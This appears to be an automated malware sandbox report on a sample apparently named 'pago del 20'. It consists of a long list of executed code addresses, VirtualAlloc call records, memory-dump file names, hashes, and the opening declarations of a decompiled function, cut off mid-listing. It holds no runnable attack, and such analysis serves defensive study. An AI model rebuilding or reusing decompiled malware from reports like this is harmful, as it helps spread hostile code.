0x004111e2
0x004111e3
0x004111e5
0x004111e6
0x004111e8
0x004111e9
0x004111eb
0x004111ec
0x004111ee
0x004111ef
0x004111f1
0x004111f2
0x004111f4
0x004111f5
0x004111f7
0x004111f8
0x004111fa
0x004111fb
0x004111fd
0x004111fe
0x00411200
0x00411201
0x00411203
0x00411204
0x00411206
0x00411207
0x00411209
0x0041120a
0x0041120c
0x0041120d
0x0041120f
0x00411210
0x00411212
0x00411213
0x00411215
0x00411216
0x00411218
0x00411219
0x0041121b
0x0041121c
0x0041121e
0x0041121f
0x00411221
0x00411222
0x00411224
0x00411225
0x00411227
0x00411228
0x0041122a
0x0041122b
0x0041122d
0x0041122e
0x00411230
0x00411231
0x00411233
0x00411234
0x00411236
0x00411237
0x00411239
0x0041123a
0x0041123c
0x0041123d
0x0041123f
0x00411240
0x00411242
0x00411243
0x00411245
0x00411246
0x00411248
0x00411249
0x0041124b
0x0041124c
0x0041124e
0x0041124f
0x00411251
0x00411252
0x00411254
0x00411255
0x00411257
0x00411258
0x0041125a
0x0041125b
0x0041125d
0x0041125e
0x00411260
0x00411261
0x00411263
0x00411264
0x00411266
0x00411267
0x00411269
0x0041126a
0x0041126c
0x0041126d
0x0041126f
0x00411270
0x00411272
0x00411273
0x00411275
0x00411276
0x00411278
0x00411279
0x0041127b
0x0041127c
0x0041127e
0x0041127f
0x00411281
0x00411282
0x00411284
0x00411285
0x00411287
0x00411288
0x0041128a
0x0041128b
0x0041128d
0x0041128e
0x00411290
0x00411291
0x00411293
0x00411294
0x00411296
0x00411297
0x00411299
0x0041129a
0x0041129c
0x0041129d
0x0041129f
0x004112a0
0x004112a2
0x004112a3
0x004112a5
0x004112a6
0x004112a8
0x004112a9
0x004112ab
0x004112ac
0x004112ae
0x004112af
0x004112b1
0x004112b2
0x004112b4
0x004112b5
0x004112b7
0x004112b8
0x004112ba
0x004112bb
0x004112bd
0x004112be
0x004112c0
0x004112c1
0x004112c3
0x004112c4
0x004112c6
0x004112c7
0x004112c9
0x004112ca
0x004112cc
0x004112cd
0x004112cf
0x004112d0
0x004112d2
0x004112d3
0x004112d5
0x004112d6
0x004112d8
0x004112d9
0x004112db
0x004112dc
0x004112de
0x004112df
0x004112e1
0x004112e2
0x004112e4
0x004112e5
0x004112e7
0x004112e8
0x004112ea
0x004112eb
0x004112ed
0x004112ee
0x004112f0
0x004112f1
0x004112f3
0x004112f4
0x004112f6
0x004112f7
0x004112f9
0x004112fa
0x004112fc
0x004112fd
0x004112ff
0x00411300
0x00411302
0x00411303
0x00411305
0x00411306
0x00411308
0x00411309
0x0041130b
0x0041130c
0x0041130e
0x0041130f
0x00411311
0x00411312
0x00411314
0x00411315
0x00411317
0x00411318
0x0041131a
0x0041131b
0x0041131d
0x0041131e
0x00411320
0x00411321
0x00411323
0x00411324
0x00411326
0x00411327
0x00411329
0x0041132a
0x0041132c
0x0041132d
0x0041132f
0x00411330
0x00411332
0x00411333
0x00411335
0x00411336
0x00411338
0x00411339
0x0041133b
0x0041133c
0x0041133e
0x0041133f
0x00411341
0x00411342
0x00411344
0x00411345
0x00411347
0x00411348
0x0041134a
0x0041134b
0x0041134d
0x0041134e
0x00411350
0x00411351
0x00411353
0x00411354
0x00411356
0x00411357
0x00411359
0x0041135a
0x0041135c
0x0041135d
0x0041135f
0x00411360
0x00411362
0x00411363
0x00411365
0x00411366
0x00411368
0x00411369
0x0041136b
0x0041136c
0x0041136e
0x0041136f
0x00411371
0x00411372
0x00411374
0x00411375
0x00411377
0x00411378
0x0041137a
0x0041137b
0x0041137d
0x0041137e
0x00411380
0x00411381
0x00411383
0x00411384
0x00411386
0x00411387
0x00411389
0x0041138a
0x0041138c
0x0041138d
0x0041138f
0x00411390
0x00411392
0x00411393
0x00411395
0x00411396
0x00411398
0x00411399
0x0041139b
0x0041139c
0x0041139e
0x0041139f
0x004113a1
0x004113a2
0x004113a4
0x004113a5
0x004113a7
0x004113a8
0x004113aa
0x004113ab
0x004113ad
0x004113ae
0x004113b0
0x004113b1
0x004113b3
0x004113b4
0x004113b6
0x004113b7
0x004113b9
0x004113ba
0x004113bc
0x004113bd
0x004113bf
0x004113c0
0x004113c2
0x004113c3
0x004113c5
0x004113c6
0x004113c8
0x004113c9
0x004113cb
0x004113cc
0x004113ce
0x004113cf
0x004113d1
0x004113d2
0x004113d4
0x004113d5
0x004113d7
0x004113d8
0x004113da
0x004113db
0x004113dd
0x004113de
0x004113e0
0x004113e1
0x004113e3
0x004113e4
0x004113e6
0x004113e7
0x004113e9
0x004113ea
0x004113ec
0x004113ed
0x004113ef
0x004113f0
0x004113f2
0x004113f3
0x004113f5
0x004113f6
0x004113f8
0x004113f9
0x004113fb
0x004113fc
0x004113fe
0x004113ff
0x00411401
0x00411402
0x00411404
0x00411405
0x00411407
0x00411408
0x0041140a
0x0041140b
0x0041140d
0x0041140e
0x00411410
0x00411411
0x00411413
0x00411414
0x00411416
0x00411417
0x00411419
0x0041141a
0x0041141c
0x0041141d
0x0041141f
0x00411420
0x00411422
0x00411423
0x00411425
0x00411426
0x00411428
0x00411429
0x0041142b
0x0041142c
0x0041142e
0x0041142f
0x00411431
0x00411432
0x00411434
0x00411435
0x00411437
0x00411438
0x0041143a
0x0041143b
0x0041143d
0x0041143e
0x00411440
0x00411441
0x00411443
0x00411444
0x00411446
0x00411447
0x00411449
0x0041144a
0x0041144c
0x0041144d
0x0041144f
0x00411450
0x00411452
0x00411453
0x00411455
0x00411456
0x00411458
0x00411459
0x0041145b
0x0041145c
0x0041145e
0x0041145f
0x00411461
0x00411462
0x00411464
0x00411465
0x00411467
0x00411468
0x0041146a
0x0041146b
0x0041146d
0x0041146e
0x00411470
0x00411471
0x00411473
0x00411474
0x00411476
0x00411477
0x00411479
0x0041147a
0x0041147c
0x0041147d
0x0041147f
0x00411480
0x00411482
0x00411483
0x00411485
0x00411486
0x00411488
0x00411489
0x0041148b
0x0041148c
0x0041148e
0x0041148f
0x00411491
0x00411492
0x00411494
0x00411495
0x00411497
0x00411498
0x0041149a
0x0041149b
0x0041149d
0x0041149e
0x004114a0
0x004114a1
0x004114a3
0x004114a4
0x004114a6
0x004114a7
0x004114a9
0x004114aa
0x004114ac
0x004114ad
0x004114af
0x004114b0
0x004114b2
0x004114b3
0x004114b5
0x004114b6
0x004114b8
0x004114b9
0x004114bb
0x004114bc
0x004114be
0x004114bf
0x004114c1
0x004114c2
0x004114c4
0x004114c5
0x004114c7
0x004114c8
0x004114ca
0x004114cb
0x004114cd
0x004114ce
0x004114d0
0x004114d1
0x004114d3
0x004114d4
0x004114d6
0x004114d7
0x004114d9
0x004114da
0x004114dc
0x004114dd
0x004114df
0x004114e0
0x004114e2
0x004114e3
0x004114e5
0x004114e6
0x004114e8
0x004114e9
0x004114eb
0x004114ec
0x004114ee
0x004114ef
0x004114f1
0x004114f2
0x004114f4
0x004114f5
0x004114f7
0x004114f8
0x004114fa
0x004114fb
0x004114fd
0x004114fe
0x00411500
0x00411501
0x00411503
0x00411504
0x00411506
0x00411507
0x00411509
0x0041150a
0x0041150c
0x0041150d
0x0041150f
0x00411510
0x00411512
0x00411513
0x00411515
0x00411516
0x00411518
0x00411519
0x0041151b
0x0041151c
0x0041151e
0x0041151f
0x00411521
0x00411522
0x00411524
0x00411525
0x00411527
0x00411528
0x0041152a
0x0041152b
0x0041152d
0x0041152e
0x00411530
0x00411531
0x00411533
0x00411534
0x00411536
0x00411537
0x00411539
0x0041153a
0x0041153c
0x0041153d
0x0041153f
0x00411540
0x00411542
0x00411543
0x00411545
0x00411546
0x00411548
0x00411549
0x0041154b
0x0041154c
0x0041154e
0x0041154f
0x00411551
0x00411552
0x00411554
0x00411555
0x00411557
0x00411558
0x0041155a
0x0041155b
0x0041155d
0x0041155e
0x00411560
0x00411561
0x00411563
0x00411564
0x00411566
0x00411567
0x00411569
0x0041156a
0x0041156c
0x0041156d
0x0041156f
0x00411570
0x00411572
0x00411573
0x00411575
0x00411576
0x00411578
0x00411579
0x0041157b
0x0041157c
0x0041157e
0x0041157f
0x00411581
0x00411582
0x00411584
0x00411585
0x00411587
0x00411588
0x0041158a
0x0041158b
0x0041158d
0x0041158e
0x00411590
0x00411591
0x00411593
0x00411594
0x00411596
0x00411597
0x00411599
0x0041159a
0x0041159c
0x0041159d
0x0041159f
0x004115a0
0x004115a2
0x004115a3
0x004115a5
0x004115a6
0x004115a8
0x004115a9
0x004115ab
0x004115ac
0x004115ae
0x004115af
0x004115b1
0x004115b2
0x004115b4
0x004115b5
0x004115b7
0x004115b8
0x004115ba
0x004115bb
0x004115bd
0x004115be
0x004115c0
0x004115c1
0x004115c3
0x004115c4
0x004115c6
0x004115c7
0x004115c9
0x004115ca
0x004115cc
0x004115cd
0x004115cf
0x004115d0
0x004115d2
0x004115d3
0x004115d5
0x004115d6
0x004115d8
0x004115d9
0x004115db
0x004115dc
0x004115de
0x004115df
0x004115e1
0x004115e2
0x004115e4
0x004115e5
0x004115e7
0x004115e8
0x004115ea
0x004115eb
0x004115ed
0x004115ee
0x004115f0
0x004115f1
0x004115f3
0x004115f4
0x004115f6
0x004115f7
0x004115f9
0x004115fa
0x004115fc
0x004115fd
0x004115ff
0x00411600
0x00411602
0x00411603
0x00411605
0x00411606
0x00411608
0x00411609
0x0041160b
0x0041160c
0x0041160e
0x0041160f
0x00411611
0x00411612
0x00411614
0x00411615
0x00411617
0x00411618
0x0041161a
0x0041161b
0x0041161d
0x0041161e
0x00411620
0x00411621
0x00411623
0x00411624
0x00411626
0x00411627
0x00411629
0x0041162a
0x0041162c
0x0041162d
0x0041162f
0x00411630
0x00411632
0x00411633
0x00411635
0x00411636
0x00411638
0x00411639
0x0041163b
0x0041163c
0x0041163e
0x0041163f
0x00411641
0x00411642
0x00411644
0x00411645
0x00411647
0x00411648
0x0041164a
0x0041164b
0x0041164d
0x0041164e
0x00411650
0x00411651
0x00411653
0x00411654
0x00411656
0x00411657
0x00411659
0x0041165a
0x0041165c
0x0041165d
0x0041165f
0x00411660
0x00411662
0x00411663
0x00411665
0x00411666
0x00411668
0x00411669
0x0041166b
0x0041166c
0x0041166e
0x0041166f
0x00411671
0x00411672
0x00411674
0x00411675
0x00411677
0x00411678
0x0041167a
0x0041167b
0x0041167d
0x0041167e
0x00411680
0x00411681
0x00411683
0x00411684
0x00411686
0x00411687
0x00411689
0x0041168a
0x0041168c
0x0041168d
0x0041168f
0x00411690
0x00411692
0x00411693
0x00411695
0x00411696
0x00411698
0x00411699
0x0041169b
0x0041169c
0x0041169e
0x0041169f
0x004116a1
0x004116a2
0x004116a4
0x004116a5
0x004116a7
0x004116a8
0x004116aa
0x004116ab
0x004116ad
0x004116ae
0x004116b0
0x004116b1
0x004116b3
0x004116b4
0x004116b6
0x004116b7
0x004116b9
0x004116ba
0x004116bc
0x004116bd
0x004116bf
0x004116c0
0x004116c2
0x004116c3
0x004116c5
0x004116c6
0x004116c8
0x004116c9
0x004116cb
0x004116cc
0x004116ce
0x004116cf
0x004116d1
0x004116d2
0x004116d4
0x004116d5
0x004116d7
0x004116d8
0x004116da
0x004116db
0x004116dd
0x004116de
0x004116e0
0x004116e1
0x004116e3
0x004116e4
0x004116e6
0x004116e7
0x004116e9
0x004116ea
0x004116ec
0x004116ed
0x004116ef
0x004116f0
0x004116f2
0x004116f3
0x004116f5
0x004116f6
0x004116f8
0x004116f9
0x004116fb
0x004116fc
0x004116fe
0x004116ff
0x00411701
0x00411702
0x00411704
0x00411705
0x00411707
0x00411708
0x0041170a
0x0041170b
0x0041170d
0x0041170e
0x00411710
0x00411711
0x00411713
0x00411714
0x00411716
0x00411717
0x00411719
0x0041171a
0x0041171c
0x0041171d
0x0041171f
0x00411720
0x00411722
0x00411723
0x00411725
0x00411726
0x00411728
0x00411729
0x0041172b
0x0041172c
0x0041172e
0x0041172f
0x00411731
0x00411732
0x00411734
0x00411735
0x00411737
0x00411738
0x0041173a
0x0041173b
0x0041173d
0x0041173e
0x00411740
0x00411741
0x00411743
0x00411744
0x00411746
0x00411747
0x00411749
0x0041174a
0x0041174c
0x0041174d
0x0041174f
0x00411750
0x00411752
0x00411753
0x00411755
0x00411756
0x00411758
0x00411759
0x0041175b
0x0041175c
0x0041175e
0x0041175f
0x00411761
0x00411762
0x00411764
0x00411765
0x00411767
0x00411768
0x0041176a
0x0041176b
0x0041176d
0x0041176e
0x00411770
0x00411771
0x00411773
0x00411774
0x00411776
0x00411777
0x00411779
0x0041177a
0x0041177c
0x0041177d
0x0041177f
0x00411780
0x00411782
0x00411783
0x00411785
0x00411786
0x00411788
0x00411789
0x0041178b
0x0041178c
0x0041178e
0x0041178f
0x00411791
0x00411792
0x00411794
0x00411795
0x00411797
0x00411798
0x0041179a
0x0041179b
0x0041179d
0x0041179e
0x004117a0
0x004117a1
0x004117a3
0x004117a4
0x004117a6
0x004117a7
0x004117a9
0x004117aa
0x004117ac
0x004117ad
0x004117af
0x004117b0
0x004117b2
0x004117b3
0x004117b5
0x004117b6
0x004117b8
0x004117b9
0x004117bb
0x004117bc
0x004117be
0x004117bf
0x004117c1
0x004117c2
0x004117c4
0x004117c5
0x004117c7
0x004117c8
0x004117ca
0x004117cb
0x004117cd
0x004117ce
0x004117d0
0x004117d1
0x004117d3
0x004117d4
0x004117d6
0x004117d7
0x004117d9
0x004117da
0x004117dc
0x004117dd
0x004117df
0x004117e0
0x004117e2
0x004117e3
0x004117e5
0x004117e6
0x004117e8
0x004117e9
0x004117eb
0x004117ec
0x004117ee
0x004117ef
0x004117f1
0x004117f2
0x004117f4
0x004117f5
0x004117f7
0x004117f8
0x004117fa
0x004117fb
0x004117fd
0x004117fe
0x00411800
0x00411801
0x00411803
0x00411804
0x00411806
0x00411807
0x00411809
0x0041180a
0x0041180c
0x0041180d
0x0041180f
0x00411810
0x00411812
0x00411813
0x00411815
0x00411816
0x00411818
0x00411819
0x0041181b
0x0041181c
0x0041181e
0x0041181f
0x00411821
0x00411822
0x00411824
0x00411825
0x00411827
0x00411828
0x0041182a
0x0041182b
0x0041182d
0x0041182e
0x00411830
0x00411831
0x00411833
0x00411834
0x00411836
0x00411837
0x00411839
0x0041183a
0x0041183c
0x0041183d
0x0041183f
0x00411840
0x00411842
0x00411843
0x00411845
0x00411846
0x00411848
0x00411849
0x0041184b
0x0041184c
0x0041184e
0x0041184f
0x00411851
0x00411852
0x00411854
0x00411855
0x00411857
0x00411858
0x0041185a
0x0041185b
0x0041185d
0x0041185e
0x00411860
0x00411861
0x00411863
0x00411864
0x00411866
0x00411867
0x00411869
0x0041186a
0x0041186c
0x0041186d
0x0041186f
0x00411870
0x00411872
0x00411873
0x00411875
0x00411876
0x00411878
0x00411879
0x0041187b
0x0041187c
0x0041187e
0x0041187f
0x00411881
0x00411882
0x00411884
0x00411885
0x00411887
0x00411888
0x0041188a
0x0041188b
0x0041188d
0x0041188e
0x00411890
0x00411891
0x00411893
0x00411894
0x00411896
0x00411897
0x00411899
0x0041189a
0x0041189c
0x0041189d
0x0041189f
0x004118a0
0x004118a2
0x004118a3
0x004118a5
0x004118a6
0x004118a8
0x004118a9
0x004118ab
0x004118ac
0x004118ae
0x004118af
0x004118b1
0x004118b2
0x004118b4
0x004118b5
0x004118b7
0x004118b8
0x004118ba
0x004118bb
0x004118bd
0x004118be
0x004118c0
0x004118c1
0x004118c3
0x004118c4
0x004118c6
0x004118c7
0x004118c9
0x004118ca
0x004118cc
0x004118cd
0x004118cf
0x004118d0
0x004118d2
0x004118d3
0x004118d5
0x004118d6
0x004118d8
0x004118d9
0x004118db
0x004118dc
0x004118de
0x004118df
0x004118e1
0x004118e2
0x004118e4
0x004118e5
0x004118e7
0x004118e8
0x004118ea
0x004118eb
0x004118ed
0x004118ee
0x004118f0
0x004118f1
0x004118f3
0x004118f4
0x004118f6
0x004118f7
0x004118f9
0x004118fa
0x004118fc
0x004118fd
0x004118ff
0x00411900
0x00411902
0x00411903
0x00411905
0x00411906
0x00411908
0x00411909
0x0041190b
0x0041190c
0x0041190e
0x0041190f
0x00411911
0x00411912
0x00411914
0x00411915
0x00411917
0x00411918
0x0041191a
0x0041191b
0x0041191d
0x0041191e
0x00411920
0x00411921
0x00411923
0x00411924
0x00411926
0x00411927
0x00411929
0x0041192a
0x0041192c
0x0041192d
0x0041192f
0x00411930
0x00411932
0x00411933
0x00411935
0x00411936
0x00411938
0x00411939
0x0041193b
0x0041193c
0x0041193e
0x0041193f
0x00411941
0x00411942
0x00411944
0x00411945
0x00411947
0x00411948
0x0041194a
0x0041194b
0x0041194d
0x0041194e
0x00411950
0x00411951
0x00411953
0x00411954
0x00411956
0x00411957
0x00411959
0x0041195a
0x0041195c
0x0041195d
0x0041195f
0x00411960
0x00411962
0x00411963
0x00411965
0x00411966
0x00411968
0x00411969
0x0041196b
0x0041196c
0x0041196e
0x0041196f
0x00411971
0x00411972
0x00411974
0x00411975
0x00411977
0x00411978
0x0041197a
0x0041197b
0x0041197d
0x0041197e
0x00411980
0x00411981
0x00411983
0x00411984
0x00411986
0x00411987
0x00411989
0x0041198a
0x0041198c
0x0041198d
0x0041198f
0x00411990
0x00411992
0x00411993
0x00411995
0x00411996
0x00411998
0x00411999
0x0041199b
0x0041199c
0x0041199e
0x0041199f
0x004119a1
0x004119a2
0x004119a4
0x004119a5
0x004119a7
0x004119a8
0x004119aa
0x004119ab
0x004119ad
0x004119ae
0x004119b0
0x004119b1
0x004119b3
0x004119b4
0x004119b6
0x004119b7
0x004119b9
0x004119ba
0x004119bc
0x004119bd
0x004119bf
0x004119c0
0x004119c2
0x004119c3
0x004119c5
0x004119c6
0x004119c8
0x004119c9
0x004119cb
0x004119cc
0x004119ce
0x004119cf
0x004119d1
0x004119d2
0x004119d4
0x004119d5
0x004119d7
0x004119d8
0x004119da
0x004119db
0x004119dd
0x004119de
0x004119e0
0x004119e1
0x004119e3
0x004119e4
0x004119e6
0x004119e7
0x004119e9
0x004119ea
0x004119ec
0x004119ed
0x004119ef
0x004119f0
0x004119f2
0x004119f3
0x004119f5
0x004119f6
0x004119f8
0x004119f9
0x004119fb
0x004119fc
0x004119fe
0x004119ff
0x00411a01
0x00411a02
0x00411a04
0x00411a05
0x00411a07
0x00411a08
0x00411a0a
0x00411a0b
0x00411a0d
0x00411a0e
0x00411a10
0x00411a11
0x00411a13
0x00411a14
0x00411a16
0x00411a17
0x00411a19
0x00411a1a
0x00411a1c
0x00411a1d
0x00411a1f
0x00411a20
0x00411a22
0x00411a23
0x00411a25
0x00411a26
0x00411a28
0x00411a29
0x00411a2b
0x00411a2c
0x00411a2e
0x00411a2f
0x00411a31
0x00411a32
0x00411a34
0x00411a35
0x00411a37
0x00411a38
0x00411a3a
0x00411a3b
0x00411a3d
0x00411a3e
0x00411a40
0x00411a41
0x00411a43
0x00411a44
0x00411a46
0x00411a47
0x00411a49
0x00411a4a
0x00411a4c
0x00411a4d
0x00411a4f
0x00411a50
0x00411a52
0x00411a53
0x00411a55
0x00411a56
0x00411a58
0x00411a59
0x00411a5b
0x00411a5c
0x00411a5e
0x00411a5f
0x00411a61
0x00411a62
0x00411a64
0x00411a65
0x00411a67
0x00411a68
0x00411a6a
0x00411a6b
0x00411a6d
0x00411a6e
0x00411a70
0x00411a71
0x00411a73
0x00411a74
0x00411a76
0x00411a77
0x00411a79
0x00411a7a
0x00411a7c
0x00411a7d
0x00411a7f
0x00411a80
0x00411a82
0x00411a83
0x00411a85
0x00411a86
0x00411a88
0x00411a89
0x00411a8b
0x00411a8c
0x00411a8e
0x00411a8f
0x00411a91
0x00411a92
0x00411a94
0x00411a95
0x00411a97
0x00411a98
0x00411a9a
0x00411a9b
0x00411a9d
0x00411a9e
0x00411aa0
0x00411aa1
0x00411aa3
0x00411aa4
0x00411aa6
0x00411aa7
0x00411aa9
0x00411aaa
0x00411aac
0x00411aad
0x00411aaf
0x00411ab0
0x00411ab2
0x00411ab3
0x00411ab5
0x00411ab6
0x00411ab8
0x00411ab9
0x00411abb
0x00411abc
0x00411abe
0x00411abf
0x00411ac1
0x00411ac2
0x00411ac4
0x00411ac5
0x00411ac7
0x00411ac8
0x00411aca
0x00411acb
0x00411acd
0x00411ace
0x00411ad0
0x00411ad1
0x00411ad3
0x00411ad4
0x00411ad6
0x00411ad7
0x00411ad9
0x00411ada
0x00411adc
0x00411add
0x00411adf
0x00411ae0
0x00411ae2
0x00411ae3
0x00411ae5
0x00411ae6
0x00411ae8
0x00411ae9
0x00411aeb
0x00411aec
0x00411aee
0x00411aef
0x00411af1
0x00411af2
0x00411af4
0x00411af5
0x00411af7
0x00411af8
0x00411afa
0x00411afb
0x00411afd
0x00411afe
0x00411b00
0x00411b01
0x00411b03
0x00411b04
0x00411b06
0x00411b07
0x00411b09
0x00411b0a
0x00411b0c
0x00411b0d
0x00411b0f
0x00411b10
0x00411b12
0x00411b13
0x00411b15
0x00411b16
0x00411b18
0x00411b19
0x00411b1b
0x00411b1c
0x00411b1e
0x00411b1f
0x00411b21
0x00411b22
0x00411b24
0x00411b25
0x00411b27
0x00411b28
0x00411b2a
0x00411b2b
0x00411b2d
0x00411b2e
0x00411b30
0x00411b31
0x00411b33
0x00411b34
0x00411b36
0x00411b37
0x00411b39
0x00411b3a
0x00411b3c
0x00411b3d
0x00411b3f
0x00411b40
0x00411b42
0x00411b43
0x00411b45
0x00411b46
0x00411b48
0x00411b49
0x00411b4b
0x00411b4c
0x00411b4e
0x00411b4f
0x00411b51
0x00411b52
0x00411b54
0x00411b55
0x00411b57
0x00411b58
0x00411b5a
0x00411b5b
0x00411b5d
0x00411b5e
0x00411b60
0x00411b61
0x00411b63
0x00411b64
0x00411b66
0x00411b67
0x00411b69
0x00411b6a
0x00411b6c
0x00411b6d
0x00411b6f
0x00411b70
0x00411b72
0x00411b73
0x00411b75
0x00411b76
0x00411b78
0x00411b79
0x00411b7b
0x00411b7c
0x00411b7e
0x00411b7f
0x00411b81
0x00411b82
0x00411b84
0x00411b85
0x00411b87
0x00411b88
0x00411b8a
0x00411b8b
0x00411b8d
0x00411b8e
0x00411b90
0x00411b91
0x00411b93
0x00411b94
0x00411b96
0x00411b97
0x00411b99
0x00411b9a
0x00411b9c
0x00411b9d
0x00411b9f
0x00411ba0
0x00411ba2
0x00411ba3
0x00411ba5
0x00411ba6
0x00411ba8
0x00411ba9
0x00411bab
0x00411bac
0x00411bae
0x00411baf
0x00411bb1
0x00411bb2
0x00411bb4
0x00411bb5
0x00411bb7
0x00411bb8
0x00411bba
0x00411bbb
0x00411bbd
0x00411bbe
0x00411bc0
0x00411bc1
0x00411bc3
0x00411bc4
0x00411bc6
0x00411bc7
0x00411bc9
0x00411bca
0x00411bcc
0x00411bcd
0x00411bcf
0x00411bd0
0x00411bd2
0x00411bd3
0x00411bd5
0x00411bd6
0x00411bd8
0x00411bd9
0x00411bdb
0x00411bdc
0x00411bde
0x00411bdf
0x00411be1
0x00411be2
0x00411be4
0x00411be5
0x00411be7
0x00411be8
0x00411bea
0x00411beb
0x00411bed
0x00411bee
0x00411bf0
0x00411bf1
0x00411bf3
0x00411bf4
0x00411bf6
0x00411bf7
0x00411bf9
0x00411bfa
0x00411bfc
0x00411bfd
0x00411bff
0x00411c00
0x00411c02
0x00411c03
0x00411c05
0x00411c06
0x00411c08
0x00411c09
0x00411c0b
0x00411c0c
0x00411c0e
0x00411c0f
0x00411c11
0x00411c12
0x00411c14
0x00411c15
0x00411c17
0x00411c18
0x00411c1a
0x00411c1b
0x00411c1d
0x00411c1e
0x00411c20
0x00411c21
0x00411c23
0x00411c24
0x00411c26
0x00411c27
0x00411c29
0x00411c2a
0x00411c2c
0x00411c2d
0x00411c2f
0x00411c30
0x00411c32
0x00411c33
0x00411c35
0x00411c36
0x00411c38
0x00411c39
0x00411c3b
0x00411c3c
0x00411c3e
0x00411c3f
0x00411c41
0x00411c42
0x00411c44
0x00411c45
0x00411c47
0x00411c48
0x00411c4a
0x00411c4b
0x00411c4d
0x00411c4e
0x00411c50
0x00411c51
0x00411c53
0x00411c54
0x00411c56
0x00411c57
0x00411c59
0x00411c5a
0x00411c5c
0x00411c5d
0x00411c5f
0x00411c60
0x00411c62
0x00411c63
0x00411c65
0x00411c66
0x00411c68
0x00411c69
0x00411c6b
0x00411c6c
0x00411c6e
0x00411c6f
0x00411c71
0x00411c72
0x00411c74
0x00411c75
0x00411c77
0x00411c78
0x00411c7a
0x00411c7b
0x00411c7d
0x00411c7e
0x00411c80
0x00411c81
0x00411c83
0x00411c84
0x00411c86
0x00411c87
0x00411c89
0x00411c8a
0x00411c8c
0x00411c8d
0x00411c8f
0x00411c90
0x00411c92
0x00411c93
0x00411c95
0x00411c96
0x00411c98
0x00411c99
0x00411c9b
0x00411c9c
0x00411c9e
0x00411c9f
0x00411ca1
0x00411ca2
0x00411ca4
0x00411ca5
0x00411ca7
0x00411ca8
0x00411caa
0x00411cab
0x00411cad
0x00411caf
0x00411cb2
0x00411cbb
0x00411cbc
0x00411cbf
0x00411cc0
0x00411cc6
0x00411cc7
0x00411cce
0x00411cd4
0x00411cd5
0x00411cdb
0x00411ce2
0x00411ce6
0x00411ce8
0x00411cef
0x00411cf8
0x00411d00
0x00411d07
0x00411d10
0x00411d11
0x00411d11
0x00411d12
0x00411d13
0x00411d14
0x00411d15
0x00411d19
0x00411d19
0x00411d23
0x00411d29
0x00411d2a
0x00411d2d
0x00411d2f
0x00411d41
0x00411d42
0x00411d4f
0x00411d50
0x00411d56
0x00411d57
0x00411d61
0x00411d6d
0x00411d75
0x00411d7d
0x00411d8d
0x00411d95
0x00411d9c
0x00411d9d
0x00411da3
0x00411da4
0x00411da7
0x00411da8
0x00411da9
0x00411daf
0x00411db0
0x00411db1
0x00411db2
0x00411db3
0x00411db6
0x00411dbf
0x00411dc6
0x00411dce
0x00411dd6
0x00411dd7
0x00411dd8
0x00411de0
0x00411de1
0x00411de2
0x00411de6
0x00411de7
0x00411de8
0x00411de9
0x00411dea
0x00411dee
0x00411def
0x00411df0
0x00411df3
0x00411df4
0x00411df5
0x00411dfd
0x00411dff
0x00411e00
0x00411e02
0x00411e05
0x00411e06
0x00411e07
0x00411e07
0x00411e0a
0x00411e0c

APIs

VirtualAlloc.KERNELBASE(00013000,00013000,-2358EE6F,-658BB783,00425C6E,?), ref: 00411DA9

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a2ea2fa49f6168325542540e717893776c03ad84e1f8c5f5e1a12377ef18aba5
Instruction ID: 0fd51694f089444c4c81af227e706255e8051ef69f2e3686866ea4b2301b473a
Opcode Fuzzy Hash: a2ea2fa49f6168325542540e717893776c03ad84e1f8c5f5e1a12377ef18aba5
Instruction Fuzzy Hash: 46E2271C68B7C1BEC3130678EC088957F564FC39A070A1DC5E4A65F932E984EE69CA27

Uniqueness

Uniqueness Score: -1.00%

Function 00411CB2 Relevance: 1.4, APIs: 1, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00013000,00013000,-2358EE6F,-658BB783,00425C6E,?), ref: 00411DA9

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0e64fc6537ccf2793308b1895a7b27093176d3899c0f47ac800aaccb3422bda6
Instruction ID: 4a96b04f5d265f9a69de9834ef1c2f9c5a43b1256dd5960e5afa89284530cc09
Opcode Fuzzy Hash: 0e64fc6537ccf2793308b1895a7b27093176d3899c0f47ac800aaccb3422bda6
Instruction Fuzzy Hash: F1319F21D93A05BAC2344DB8D8599AAF7E8DF17F01B163A6BCC0DE7364DE5589C28248

Uniqueness

Uniqueness Score: -1.00%

Function 004223E4 Relevance: 237.5, APIs: 124, Strings: 11, Instructions: 1210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E004223E4(void* __ebx, void* __edi, void* __esi, long long __fp0, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				short _v32;
				short _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed long long _v84;
				char _v92;
				char _v108;
				char _v124;
				char* _v132;
				intOrPtr _v140;
				intOrPtr _v148;
				intOrPtr _v156;
